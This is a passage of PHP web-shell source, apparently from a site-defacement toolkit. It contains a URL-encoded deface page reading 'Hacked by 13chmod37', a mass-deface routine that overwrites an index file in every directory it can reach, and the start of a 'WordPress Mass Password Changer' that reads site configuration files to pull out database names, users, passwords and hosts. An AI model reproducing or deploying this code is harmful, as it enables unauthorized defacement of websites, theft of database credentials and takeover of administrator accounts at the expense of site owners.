20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%4E%62%20%21%3D%20%4E%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%4E%62%20%3D%20%4E%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%74%69%74%2E%69%6E%6E%65%72%48%54%4D%4C%3D%20%49%2E%61%6C%74%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%2E%6F%6E%6D%6F%75%73%65%6F%75%74%20%3D%20%66%75%6E%63%74%69%6F%6E%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%4E%62%20%3D%20%2D%31%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6F%62%6A%65%63%74%5B%4E%5D%2E%6F%6E%20%3D%20%66%61%6C%73%65%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%2E%6F%6E%6D%6F%75%73%65%64%6F%77%6E%20%3D%20%6E%65%77%20%46%75%6E%63%74%69%6F%6E%28%22%72%65%74%75%72%6E%20%66%61%6C%73%65%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%2E%73%72%63%20%3D%20%49%2E%73%72%63%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%73%63%72%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6F%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2E%6F%62%6A%20%20%3D%20%6F%2E%73%74%79%6C%65%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2E%7A%20%20%20%20%3D%20%4D%61%74%68%2E%72%6F%75%6E%64%28%7A%20%2A%20%6E%79%20%2A%20%2E%32%35%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2E%78%20%20%20%20%3D%20%4D%61%74%68%2E%72%6F%75%6E%64%28%78%20%2A%20%6E%79%20%2A%20%2E%32%35%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2E%79%20%20%20%20%3D%20%4D%61%74%68%2E%72%6F%75%6E%64%28%79%20%2A%20%6E%79%20%2A%20%2E%32%35%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2E%6F%6E%20%20%20%3D%20%66%61%6C%73%65%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2E%7A%4F%4F%6D%20%3D%20%31%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2E%4E%20%20%20%20%3D%20%4E%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%43%4F%62%6A%2E%70%72%6F%74%6F%74%79%70%65%2E%61%6E%69%6D%20%3D%20%66%75%6E%63%74%69%6F%6E%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%78%50%20%3D%20%74%68%69%73%2E%7A%20%2A%20%4D%61%74%68%2E%73%69%6E%28%6D%78%20%2A%20%4B%29%20%2B%20%74%68%69%73%2E%78%20%20%2A%20%4D%61%74%68%2E%63%6F%73%28%6D%78%20%2A%20%4B%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%7A%50%20%3D%20%74%68%69%73%2E%7A%20%2A%20%4D%61%74%68%2E%63%6F%73%28%6D%78%20%2A%20%4B%29%20%2D%20%74%68%69%73%2E%78%20%20%2A%20%4D%61%74%68%2E%73%69%6E%28%6D%78%20%2A%20%4B%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%79%50%20%3D%20%74%68%69%73%2E%79%20%2A%20%4D%61%74%68%2E%63%6F%73%28%6D%79%20%2A%20%4B%29%20%2D%20%7A%50%20%2A%20%4D%61%74%68%2E%73%69%6E%28%6D%79%20%2A%20%4B%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7A%50%20%3D%20%74%68%69%73%2E%79%20%2A%20%4D%61%74%68%2E%73%69%6E%28%6D%79%20%2A%20%4B%29%20%2B%20%7A%50%20%2A%20%4D%61%74%68%2E%63%6F%73%28%6D%79%20%2A%20%4B%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%77%20%3D%20%28%7A%50%20%2A%20%2E%32%35%20%2B%20%6E%79%20%2A%20%2E%32%35%29%20%2A%20%74%68%69%73%2E%7A%4F%4F%6D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%68%20%3D%20%77%20%2A%20%2E%38%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%74%68%69%73%2E%6F%6E%20%26%26%20%7A%50%20%3E%20%30%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%74%68%69%73%2E%7A%4F%4F%6D%20%3C%20%7A%4D%29%20%74%68%69%73%2E%7A%4F%4F%6D%20%2B%3D%20%2E%30%35%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%65%6C%73%65%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%74%68%69%73%2E%7A%4F%4F%6D%20%3E%20%31%29%20%74%68%69%73%2E%7A%4F%4F%6D%20%2D%3D%20%2E%30%32%35%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2E%6F%62%6A%2E%6C%65%66%74%20%20%20%3D%20%4D%61%74%68%2E%72%6F%75%6E%64%28%78%50%20%2B%20%6E%78%20%2A%20%2E%35%20%2D%20%77%20%2A%20%2E%35%29%20%2B%20%22%70%78%22%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2E%6F%62%6A%2E%74%6F%70%20%20%20%20%3D%20%4D%61%74%68%2E%72%6F%75%6E%64%28%79%50%20%2B%20%6E%79%20%2A%20%2E%35%20%2D%20%68%20%2A%20%2E%35%29%20%2B%20%22%70%78%22%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2E%6F%62%6A%2E%77%69%64%74%68%20%20%3D%20%4D%61%74%68%2E%72%6F%75%6E%64%28%77%29%20%2B%20%22%70%78%22%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2E%6F%62%6A%2E%68%65%69%67%68%74%20%3D%20%4D%61%74%68%2E%72%6F%75%6E%64%28%68%29%20%2B%20%22%70%78%22%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2E%6F%62%6A%2E%7A%49%6E%64%65%78%20%3D%20%4D%61%74%68%2E%72%6F%75%6E%64%28%31%30%30%30%20%2B%20%77%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%76%61%72%20%72%75%6E%20%3D%20%66%75%6E%63%74%69%6F%6E%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%64%78%20%3D%20%28%31%20%2A%20%78%6D%29%20%2D%20%6D%78%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%64%79%20%3D%20%28%31%20%2A%20%79%6D%29%20%2D%20%6D%79%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6D%78%20%2B%3D%20%64%78%20%2F%20%36%30%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6D%79%20%2B%3D%20%64%79%20%2F%20%36%30%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%69%20%3D%20%30%2C%20%6F%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%77%68%69%6C%65%20%28%6F%20%3D%20%6F%62%6A%65%63%74%5B%69%2B%2B%5D%29%20%6F%2E%61%6E%69%6D%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%73%65%74%54%69%6D%65%6F%75%74%28%72%75%6E%2C%20%31%36%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%76%61%72%20%72%65%73%69%7A%65%20%3D%20%66%75%6E%63%74%69%6F%6E%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6E%78%20%3D%20%73%63%72%2E%6F%66%66%73%65%74%57%69%64%74%68%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6E%79%20%3D%20%73%63%72%2E%6F%66%66%73%65%74%48%65%69%67%68%74%20%2A%20%2E%39%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%76%61%72%20%69%6E%69%74%20%3D%20%66%75%6E%63%74%69%6F%6E%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%73%63%72%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%22%73%63%72%65%65%6E%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%69%6D%67%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%22%69%6D%67%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%69%74%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%22%74%69%74%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%72%65%73%69%7A%65%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%73%63%72%2E%6F%6E%73%65%6C%65%63%74%73%74%61%72%74%20%3D%20%6E%65%77%20%46%75%6E%63%74%69%6F%6E%28%22%72%65%74%75%72%6E%20%66%61%6C%73%65%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%6E%72%65%73%69%7A%65%20%3D%20%72%65%73%69%7A%65%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%73%63%72%2E%6F%6E%6D%6F%75%73%65%6D%6F%76%65%20%3D%20%66%75%6E%63%74%69%6F%6E%28%65%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%77%69%6E%64%6F%77%2E%65%76%65%6E%74%29%20%65%20%3D%20%77%69%6E%64%6F%77%2E%65%76%65%6E%74%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%78%6D%20%3D%20%28%65%2E%78%20%7C%7C%20%65%2E%63%6C%69%65%6E%74%58%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%79%6D%20%3D%20%28%65%2E%79%20%7C%7C%20%65%2E%63%6C%69%65%6E%74%59%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%62%6A%65%63%74%2E%70%75%73%68%28%20%6E%65%77%20%43%4F%62%6A%28%30%2C%31%2C%2D%31%2C%2D%31%29%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%62%6A%65%63%74%2E%70%75%73%68%28%20%6E%65%77%20%43%4F%62%6A%28%31%2C%31%2C%31%2C%2D%31%29%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%62%6A%65%63%74%2E%70%75%73%68%28%20%6E%65%77%20%43%4F%62%6A%28%32%2C%2D%31%2C%2D%31%2C%2D%31%29%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%62%6A%65%63%74%2E%70%75%73%68%28%20%6E%65%77%20%43%4F%62%6A%28%33%2C%2D%31%2C%31%2C%2D%31%29%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%62%6A%65%63%74%2E%70%75%73%68%28%20%6E%65%77%20%43%4F%62%6A%28%34%2C%31%2C%2D%31%2C%31%29%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%62%6A%65%63%74%2E%70%75%73%68%28%20%6E%65%77%20%43%4F%62%6A%28%35%2C%31%2C%31%2C%31%29%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%62%6A%65%63%74%2E%70%75%73%68%28%20%6E%65%77%20%43%4F%62%6A%28%36%2C%2D%31%2C%2D%31%2C%31%29%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%62%6A%65%63%74%2E%70%75%73%68%28%20%6E%65%77%20%43%4F%62%6A%28%37%2C%2D%31%2C%31%2C%31%29%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%72%75%6E%28%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%0A%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%69%6E%69%74%20%3A%20%69%6E%69%74%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%28%29%3B%0A%20%20%20%20%6F%6E%6C%6F%61%64%20%3D%20%66%75%6E%63%74%69%6F%6E%20%28%29%7B%0A%20%20%20%20%20%20%20%20%64%69%61%70%6F%2E%69%6E%69%74%28%29%3B%0A%20%20%20%20%7D%0A%20%20%20%20%3C%2F%73%63%72%69%70%74%3E%0A%20%20%20%20%3C%2F%68%65%61%64%3E%0A%20%20%20%20%3C%62%6F%64%79%20%6F%6E%63%6F%6E%74%65%78%74%6D%65%6E%75%3D%27%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%27%20%6F%6E%6B%65%79%64%6F%77%6E%3D%27%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%27%20%6F%6E%6D%6F%75%73%65%64%6F%77%6E%3D%27%72%65%74%75%72%6E%20%0A%0A%66%61%6C%73%65%3B%27%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%0A%3C%2F%64%69%76%3E%0A%3C%64%69%76%20%69%64%3D%22%74%69%74%22%20%3E%3C%2F%64%69%76%3E%0A%3C%73%74%79%6C%65%3E%0A%40%69%6D%70%6F%72%74%20%75%72%6C%28%68%74%74%70%3A%2F%2F%66%6F%6E%74%73%2E%67%6F%6F%67%6C%65%61%70%69%73%2E%63%6F%6D%2F%63%73%73%3F%66%61%6D%69%6C%79%3D%4F%70%65%6E%2B%53%61%6E%73%3A%31%30%29%3B%0A%0A%2E%74%65%78%74%20%7B%0A%20%20%66%69%6C%6C%3A%20%6E%6F%6E%65%3B%0A%20%20%73%74%72%6F%6B%65%2D%77%69%64%74%68%3A%20%36%3B%0A%20%20%73%74%72%6F%6B%65%2D%6C%69%6E%65%6A%6F%69%6E%3A%20%72%6F%75%6E%64%3B%0A%20%20%73%74%72%6F%6B%65%2D%64%61%73%68%61%72%72%61%79%3A%20%37%30%20%33%33%30%3B%0A%20%20%73%74%72%6F%6B%65%2D%64%61%73%68%6F%66%66%73%65%74%3A%20%30%3B%0A%20%20%2D%77%65%62%6B%69%74%2D%61%6E%69%6D%61%74%69%6F%6E%3A%20%73%74%72%6F%6B%65%20%36%73%20%69%6E%66%69%6E%69%74%65%20%6C%69%6E%65%61%72%3B%0A%20%20%61%6E%69%6D%61%74%69%6F%6E%3A%20%73%74%72%6F%6B%65%20%36%73%20%69%6E%66%69%6E%69%74%65%20%6C%69%6E%65%61%72%3B%0A%7D%0A%0A%2E%74%65%78%74%3A%6E%74%68%2D%63%68%69%6C%64%28%35%6E%20%2B%20%31%29%20%7B%0A%20%20%73%74%72%6F%6B%65%3A%20%23%30%30%46%46%30%30%3B%0A%20%20%2D%77%65%62%6B%69%74%2D%61%6E%69%6D%61%74%69%6F%6E%2D%64%65%6C%61%79%3A%20%2D%31%2E%32%73%3B%0A%20%20%61%6E%69%6D%61%74%69%6F%6E%2D%64%65%6C%61%79%3A%20%2D%31%2E%32%73%3B%0A%7D%0A%2E%74%65%78%74%3A%6E%74%68%2D%63%68%69%6C%64%28%35%6E%20%2B%20%32%29%20%7B%0A%20%20%73%74%72%6F%6B%65%3A%20%23%43%30%43%30%43%30%3B%0A%20%20%2D%77%65%62%6B%69%74%2D%61%6E%69%6D%61%74%69%6F%6E%2D%64%65%6C%61%79%3A%20%2D%32%2E%34%73%3B%0A%20%20%61%6E%69%6D%61%74%69%6F%6E%2D%64%65%6C%61%79%3A%20%2D%32%2E%34%73%3B%0A%7D%0A%0A%2E%74%65%78%74%3A%6E%74%68%2D%63%68%69%6C%64%28%35%6E%20%2B%20%33%29%20%7B%0A%20%20%73%74%72%6F%6B%65%3A%20%23%34%31%36%39%45%31%3B%0A%20%20%2D%77%65%62%6B%69%74%2D%61%6E%69%6D%61%74%69%6F%6E%2D%64%65%6C%61%79%3A%20%2D%33%2E%36%73%3B%0A%20%20%61%6E%69%6D%61%74%69%6F%6E%2D%64%65%6C%61%79%3A%20%2D%33%2E%36%73%3B%0A%7D%0A%0A%2E%74%65%78%74%3A%6E%74%68%2D%63%68%69%6C%64%28%35%6E%20%2B%20%34%29%20%7B%0A%20%20%73%74%72%6F%6B%65%3A%20%23%46%46%30%30%30%30%3B%0A%20%20%2D%77%65%62%6B%69%74%2D%61%6E%69%6D%61%74%69%6F%6E%2D%64%65%6C%61%79%3A%20%2D%34%2E%38%73%3B%0A%20%20%61%6E%69%6D%61%74%69%6F%6E%2D%64%65%6C%61%79%3A%20%2D%34%2E%38%73%3B%0A%7D%0A%0A%2E%74%65%78%74%3A%6E%74%68%2D%63%68%69%6C%64%28%35%6E%20%2B%20%35%29%20%7B%0A%20%20%73%74%72%6F%6B%65%3A%20%23%30%30%46%46%46%46%3B%0A%20%20%2D%77%65%62%6B%69%74%2D%61%6E%69%6D%61%74%69%6F%6E%2D%64%65%6C%61%79%3A%20%2D%36%73%3B%0A%20%20%61%6E%69%6D%61%74%69%6F%6E%2D%64%65%6C%61%79%3A%20%2D%36%73%3B%0A%7D%0A%0A%40%2D%77%65%62%6B%69%74%2D%6B%65%79%66%72%61%6D%65%73%20%73%74%72%6F%6B%65%20%7B%0A%20%20%31%30%30%25%20%7B%0A%20%20%20%20%73%74%72%6F%6B%65%2D%64%61%73%68%6F%66%66%73%65%74%3A%20%2D%34%30%30%3B%0A%20%20%7D%0A%7D%0A%0A%40%6B%65%79%66%72%61%6D%65%73%20%73%74%72%6F%6B%65%20%7B%0A%20%20%31%30%30%25%20%7B%0A%20%20%20%20%73%74%72%6F%6B%65%2D%64%61%73%68%6F%66%66%73%65%74%3A%20%2D%34%30%30%3B%0A%20%20%7D%0A%7D%0A%0A%68%74%6D%6C%2C%20%62%6F%64%79%20%7B%0A%20%20%68%65%69%67%68%74%3A%20%31%30%30%25%3B%0A%7D%0A%0A%62%6F%64%79%20%7B%0A%20%20%62%61%63%6B%67%72%6F%75%6E%64%3A%20%23%30%30%30%30%30%30%3B%0A%20%20%62%61%63%6B%67%72%6F%75%6E%64%2D%73%69%7A%65%3A%20%2E%32%65%6D%20%31%30%30%25%3B%0A%20%20%66%6F%6E%74%3A%20%35%2E%35%65%6D%2F%31%20%4F%70%65%6E%20%53%61%6E%73%2C%20%49%6D%70%61%63%74%3B%0A%20%20%74%65%78%74%2D%74%72%61%6E%73%66%6F%72%6D%3A%20%75%70%70%65%72%63%61%73%65%3B%0A%20%20%6D%61%72%67%69%6E%3A%20%30%3B%0A%7D%0A%0A%73%76%67%20%7B%0A%20%20%70%6F%73%69%74%69%6F%6E%3A%20%61%62%73%6F%6C%75%74%65%3B%0A%20%20%77%69%64%74%68%3A%20%31%30%30%25%3B%0A%20%20%68%65%69%67%68%74%3A%20%31%30%30%25%3B%0A%7D%0A%3C%2F%73%74%79%6C%65%3E%0A%3C%2F%68%65%61%64%3E%0A%3C%62%6F%64%79%3E%0A%3C%73%76%67%20%76%69%65%77%42%6F%78%3D%22%30%20%30%20%31%30%30%30%20%33%30%30%22%3E%0A%20%20%3C%73%79%6D%62%6F%6C%20%69%64%3D%22%73%2D%74%65%78%74%22%3E%0A%20%20%20%20%3C%74%65%78%74%20%74%65%78%74%2D%61%6E%63%68%6F%72%3D%22%6D%69%64%64%6C%65%22%20%78%3D%22%35%30%25%22%20%79%3D%22%35%30%25%22%20%64%79%3D%22%2E%32%35%65%6D%22%3E%0A%20%20%20%20%20%20%31%33%43%48%4D%4F%44%33%37%0A%20%20%20%20%3C%2F%74%65%78%74%3E%0A%20%20%3C%2F%73%79%6D%62%6F%6C%3E%20%20%0A%0A%20%20%3C%75%73%65%20%78%6C%69%6E%6B%3A%68%72%65%66%3D%22%23%73%2D%74%65%78%74%22%20%63%6C%61%73%73%3D%22%74%65%78%74%22%0A%20%20%20%20%20%20%20%3E%3C%2F%75%73%65%3E%0A%20%20%3C%75%73%65%20%78%6C%69%6E%6B%3A%68%72%65%66%3D%22%23%73%2D%74%65%78%74%22%20%63%6C%61%73%73%3D%22%74%65%78%74%22%0A%20%20%20%20%20%20%20%3E%3C%2F%75%73%65%3E%0A%20%20%3C%75%73%65%20%78%6C%69%6E%6B%3A%68%72%65%66%3D%22%23%73%2D%74%65%78%74%22%20%63%6C%61%73%73%3D%22%74%65%78%74%22%0A%20%20%20%20%20%20%20%3E%3C%2F%75%73%65%3E%0A%20%20%3C%75%73%65%20%78%6C%69%6E%6B%3A%68%72%65%66%3D%22%23%73%2D%74%65%78%74%22%20%63%6C%61%73%73%3D%22%74%65%78%74%22%0A%20%20%20%20%20%20%20%3E%3C%2F%75%73%65%3E%0A%20%20%3C%75%73%65%20%78%6C%69%6E%6B%3A%68%72%65%66%3D%22%23%73%2D%74%65%78%74%22%20%63%6C%61%73%73%3D%22%74%65%78%74%22%0A%20%20%20%20%20%20%20%3E%3C%2F%75%73%65%3E%0A%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%6B%65%79%77%6F%72%64%73%22%20%63%6F%6E%74%65%6E%74%3D%22%31%33%63%68%6D%6F%64%33%37%22%20%2F%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%64%65%73%63%72%69%70%74%69%6F%6E%22%20%63%6F%6E%74%65%6E%74%3D%22%48%61%63%6B%65%64%20%62%79%20%31%33%63%68%6D%6F%64%33%37%22%20%2F%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%61%74%69%6E%67%22%20%63%6F%6E%74%65%6E%74%3D%22%47%65%6E%65%72%61%6C%22%20%2F%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%65%76%69%73%69%74%2D%61%66%74%65%72%22%20%63%6F%6E%74%65%6E%74%3D%22%31%20%64%61%79%73%22%20%2F%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%63%6C%61%73%73%69%66%69%63%61%74%69%6F%6E%22%20%63%6F%6E%74%65%6E%74%3D%22%48%61%63%6B%65%64%22%20%2F%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%6F%62%6F%74%73%20%73%63%68%65%64%75%6C%65%22%20%63%6F%6E%74%65%6E%74%3D%22%61%75%74%6F%22%3E%0A%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%6B%65%79%77%6F%72%64%73%22%20%63%6F%6E%74%65%6E%74%3D%22%31%33%63%68%6D%6F%64%33%37%22%20%2F%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%64%65%73%63%72%69%70%74%69%6F%6E%22%20%63%6F%6E%74%65%6E%74%3D%22%48%61%63%6B%65%64%20%62%79%20%31%33%63%68%6D%6F%64%33%37%22%20%2F%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%61%74%69%6E%67%22%20%63%6F%6E%74%65%6E%74%3D%22%47%65%6E%65%72%61%6C%22%20%2F%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%65%76%69%73%69%74%2D%61%66%74%65%72%22%20%63%6F%6E%74%65%6E%74%3D%22%31%20%64%61%79%73%22%20%2F%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%63%6C%61%73%73%69%66%69%63%61%74%69%6F%6E%22%20%63%6F%6E%74%65%6E%74%3D%22%48%61%63%6B%65%64%22%20%2F%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%6F%62%6F%74%73%20%73%63%68%65%64%75%6C%65%22%20%63%6F%6E%74%65%6E%74%3D%22%61%75%74%6F%22%3E%0A%0A%3C%73%74%79%6C%65%3E%62%6F%64%79%7B%6F%76%65%72%66%6C%6F%77%3A%68%69%64%64%65%6E%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%62%6C%61%63%6B%7D%23%77%7B%66%6F%6E%74%3A%34%35%70%78%20%0A%0A%27%46%72%65%64%6F%6B%61%20%4F%6E%65%27%2C%20%0A%0A%63%75%72%73%69%76%65%3B%3B%63%6F%6C%6F%72%3A%77%68%69%74%65%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%6C%65%66%74%3A%30%3B%72%69%67%68%74%3A%30%3B%74%6F%70%3A%34%30%25%7D%0A%3C%2F%73%74%79%6C%65%3E%0A%3C%6C%69%6E%6B%20%68%72%65%66%3D%27%68%74%74%70%3A%2F%2F%66%6F%6E%74%73%2E%67%6F%6F%67%6C%65%61%70%69%73%2E%63%6F%6D%2F%63%73%73%3F%66%61%6D%69%6C%79%3D%46%72%65%64%6F%6B%61%2B%4F%6E%65%27%20%0A%0A%72%65%6C%3D%27%73%74%79%6C%65%73%68%65%65%74%27%20%74%79%70%65%3D%27%74%65%78%74%2F%63%73%73%27%3E%0A%3C%63%65%6E%74%65%72%3E%0A%3C%64%69%76%20%69%64%3D%77%3E%0A%3C%62%72%3E%3C%62%72%3E%3C%62%72%3E%0A%31%33%43%48%4D%4F%44%33%37%3C%62%72%3E%0A%3C%66%6F%6E%74%20%73%69%7A%65%3D%35%3E%0A%4E%6F%20%73%6B%69%6C%6C%2C%20%6E%6F%20%74%68%69%6E%6B%2C%20%6E%6F%20%74%65%61%6D%2C%20%6A%75%73%74%20%61%74%74%61%63%6B%21%3C%62%72%3E%3C%66%6F%6E%74%20%73%69%7A%65%3D%34%3E%61%64%63%68%61%63%6B%65%72%40%67%6D%61%69%6C%2E%63%6F%6D'));
948<!-- 13chmod37 -->
949</script>
950
951<center><embed src="https://www.youtube.com/v/AGCDdWhhSRM&autoplay=1" type="application/x-shockwave-flash"wmode="transparent" width="1" height="1"></embed>
952
953</body>
954</html>
955</textarea><br>
956<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form>
957<h3>Defaced Result: </h3>
958<br><br>
959versi text area:<br>
960<textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>
961<?php $ini="http://";
962 $mainpath=$_POST[path];
963 $file=$_POST[file];
964 $dir=opendir("$mainpath");
965 $code=base64_encode($_POST[index]);
966 $indx=base64_decode($code);
967 while($row=readdir($dir)){
968 $start=@fopen("$row/$file","w+");
969 $finish=@fwrite($start,$indx);
970 if ($finish){echo"$ini$row/$file\n";}}
971?>
972</textarea><br>
973<br><br>versi text:<br><br>
974<?php $ini="http://";
975 $mainpath=$_POST[path];
976 $file=$_POST[file];
977 $dir=opendir("$mainpath");
978 $code=base64_encode($_POST[index]);
979 $indx=base64_decode($code);
980 while($row=readdir($dir)){
981 $start=@fopen("$row/$file","w+");
982 $finish=@fwrite($start,$indx);
983 if ($finish){echo"<a href="."$ini$row/$file"." target="."_blank".">$ini$row/$file</a><br>";}}
984
985 }
986 elseif(isset($_GET["logout"]))
987 {
988 ?>
989 <?php unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
990 echo '<center><b>logged out</b></center>';
991 }
992 elseif(isset($_GET['x']) && ($_GET['x'] == 'mpc'))
993 {
994 ?>
995 <form action="?path=<?php echo $path; ?>&x=mpc" method="post">
996 <?php
997set_time_limit(0);
998ini_set('display_errors', 0);
999
1000echo '<center><h2>WordPress Mass Password Changer</h2><br /><br/></center>';
1001echo '<form method="POST" action="" >
1002<center><table border="1"><tr><td>Config List:</td>
1003<td><textarea style="background:black;outline:none;color:white;" name="url" cols="50" rows="10" ></textarea></td></tr>
1004<tr><td>User/Password</td><td><input style="background:black;outline:none;color:white;" type="text" name="username" size="25" value="Psrmrh"> /
1005<input style="background:black;outline:none;color:white;" type="text" name="password" size="25" value="stupidc0de"></td></tr></table>
1006<br><input style="background:black;outline:none;color:white;" type="Submit" class="button" value="Submit"><input type="hidden" name="action" value="1"></form></center>';
1007
1008if ($_POST['action']=='1'){
1009if ($_POST['url']==''){
1010echo "<div class='result'>No CONFIG FOUND<br>Make sure you provided a config list!</div><br>";
1011}else{
1012$url=$_POST['url'];
1013$users = explode("\n",$url);
1014foreach ($users as $user) {
1015$user1=trim($user);
1016$code=file_get_contents2($user1);
1017preg_match_all('|define.*\(.*\'DB_NAME\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b1);
1018$db=$b1[1][0];
1019preg_match_all('|define.*\(.*\'DB_USER\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b2);
1020$user=$b2[1][0];
1021preg_match_all('|define.*\(.*\'DB_PASSWORD\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b3);
1022$db_password=$b3[1][0];
1023preg_match_all('|define.*\(.*\'DB_HOST\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b4);
1024$host=$b4[1][0];
1025preg_match_all('|\$table_prefix.*=.*\'(.*)\'.*;|isU',$code,$b5);
1026$p=$b5[1][0];
1027
